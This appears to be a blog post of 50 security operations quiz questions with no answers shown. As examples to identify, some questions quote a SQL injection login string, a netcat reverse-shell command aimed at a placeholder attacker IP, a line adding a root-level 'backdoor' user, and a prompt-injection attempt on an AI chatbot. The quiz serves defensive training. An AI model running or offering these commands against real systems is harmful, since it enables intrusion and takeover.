My Blog

1. You are investigating a suspicious login on a Windows Server. You see a "Successful Logon" event, but the source IP is from a country where the company has no employees. Which Event ID are you likely looking at?

2. A user reports that their files have suddenly become inaccessible and now have a ".crypt" extension. You find a ransom note on the desktop. What is the first step in the NIST Containment phase?

3. You notice an alert for "LLM Prompt Injection" against your company’s internal AI chatbot. The logs show a user trying to force the AI to ignore its safety filters to reveal system passwords. Which type of attack is this?

4. A network trace shows thousands of incomplete TCP connection requests (SYN packets) targeting a single web server, causing it to crash. What type of attack is occurring?

5. While reviewing web logs, you see a request: GET /login.php?user=admin&pass=' OR 1=1--. What is the attacker attempting to do?

6. Your SOAR platform triggers a playbook because an EDR alert shows a "Pass-the-Hash" attack. The playbook automatically gathers the file hash and checks it against VirusTotal. This process is known as:

7. An executive receives a phone call from someone claiming to be "IT Support" asking for their password to "fix a sync issue." This is an example of:

8. You are calculating the risk of a new vulnerability. The "Base Score" is 9.8, but your company has implemented a firewall that blocks the necessary port. Which CVSS metric group allows you to lower the score based on this control?

9. A Linux server is running slowly. You use a command to see which processes are consuming the most CPU and check for any "Listening" ports that shouldn't be there. Which command did you likely use?

10. You find an unauthorized device plugged into a switch in the lobby. The attacker used this device to gain entry by following an employee through a secure door. What is this physical attack called?

11. A SOC analyst notices that an employee’s account logged in from New York and then 10 minutes later from London. This "Impossible Travel" alert is a high-confidence indicator of:

12. Your company wants to move to a "Zero Trust" architecture. What is the fundamental principle you must enforce?

13. You are analyzing a PCAP file. You want to see the "5-tuple" to identify a specific conversation between a client and a server. Which of the following is part of that 5-tuple?

14. An EDR alert shows that Excel.exe just launched PowerShell.exe, which then downloaded a script from an external IP. In a process tree analysis, which is the "Parent" process?

15. You suspect a "Man-in-the-Middle" attack on the local network. You see an ARP entry where a single MAC address is claiming to own multiple IP addresses, including the Default Gateway. What is this called?

16. You are using a SIEM to search for a specific pattern across logs from firewalls, servers, and proxies. The SIEM has standardized these different logs into a single format. This process is:

17. A developer accidentally uploads an AWS Access Key to a public GitHub repository. Within minutes, unauthorized instances are created in the account. Which "Cloud Security" risk was exploited?

18. You are performing "Threat Hunting." Instead of waiting for an alert, you search through your logs for any rare "User-Agent" strings in web traffic. This is an example of:

19. An attacker sends an email to the CFO that looks exactly like a legitimate invoice from a known vendor, but the bank account details have been changed. What is this specific attack called?

20. During an investigation, you need to prove that a disk image hasn't been tampered with since it was collected. What do you use to verify its integrity?

21. You see a series of "403 Forbidden" errors in your web logs followed by a "200 OK" from the same IP. This pattern most likely indicates:

22. An EDR tool flags a "Living off the Land" technique. This means the attacker is:

23. Which "Cyber Kill Chain" stage is an attacker in when they are bundling a Trojan into a legitimate-looking software installer?

24. A SOC manager asks for the "False Positive Rate" of a new detection rule. Why is this metric important?

25. You are analyzing a file in a "Sandbox." The file appears benign for 10 minutes and then suddenly starts encrypting files. This is an example of:

26. You need to capture all traffic on a specific network segment without interrupting the flow of data. You decide to use a hardware device that physically sits between two devices. What is this called?

27. A web application is vulnerable to an attack where the attacker can execute scripts in the browsers of other users who visit the site. What is this?

28. You are looking at a CVSS score where "Exploit Code Maturity" is "Functional." This is part of which metric group?

29. A user reports a suspicious email. You check the headers and see that the "Return-Path" doesn't match the "From" address, and the SPF check failed. What is the most likely verdict?

30. In the "Diamond Model," if you are tracking the specific IP addresses and Domain Names an attacker uses, which node are you focused on?

31. You are analyzing an IPv4 packet header. You see the "Protocol" field is set to 6. Which transport layer protocol is being used?

32. An analyst uses a "Sliding Window Anomaly Detection" tool. It alerts because a user who typically uploads 5MB of data a day just uploaded 10GB. What is the most likely concern?

33. You find a "Reverse Shell" connection on a Linux server. The attacker used a command like nc -e /bin/sh [Attacker_IP] [Port]. Which "Kill Chain" stage does this represent?

34. A company implements "Application Whitelisting" on all workstations. A user tries to run an unapproved game they brought on a USB, but it fails to launch. Which security principle is this enforcing?

35. You are performing a "Full Packet Capture" analysis. You see an ICMP "Destination Unreachable" message. What does this usually tell a SOC analyst?

36. An attacker uses a "Deepfake" audio clip of the CEO to authorize an urgent wire transfer over the phone. Which technology did the attacker weaponize?

37. You see a Linux log entry: useradd: new user: name=backdoor, UID=0. Why is this extremely alarming?

38. Which type of data would tell you the duration of a specific web session but not the content of the pages visited?

39. You are investigating a "Buffer Overflow." You see a long string of x90x90x90 (NOP Sled) in the payload. What is the attacker likely trying to do?

40. A SOC uses a "Threat Intelligence Platform" (TIP). What is the primary benefit of this tool?

41. You are analyzing a DNS log and see a high volume of queries for random subdomains like a1b2c3.malicious.com. This is a common indicator of:

42. In a "Public Key Infrastructure" (PKI) environment, a "Certificate Revocation List" (CRL) is used to:

43. Which "Access Control Model" would you use if you want to grant access based on a combination of "User Department," "Time of Day," and "Device Compliance"?

44. An attacker performs "Social Engineering" by looking over an employee's shoulder while they type their PIN at an ATM or office door. This is:

45. You are following the NIST SP 800-61r2 guidelines. You have just finished a major incident and are now documenting what went well and what didn't. Which phase are you in?

46. You see a "401 Unauthorized" status code in your web logs repeated 500 times in one minute for the same user account. This is a classic sign of:

47. Why is "Attribution" often the most difficult part of a SOC investigation?

48. A "Next-Gen Firewall" (NGFW) identifies that a user is using "Facebook" on port 443, rather than just seeing it as generic "HTTPS" traffic. This capability is:

49. You find a "Honeytoken" (a fake credit card number) in a database that was leaked online. This helps the SOC by:

50. In "Asymmetric Encryption," what is the only thing the Private Key should be used for by the owner to ensure "Non-repudiation"?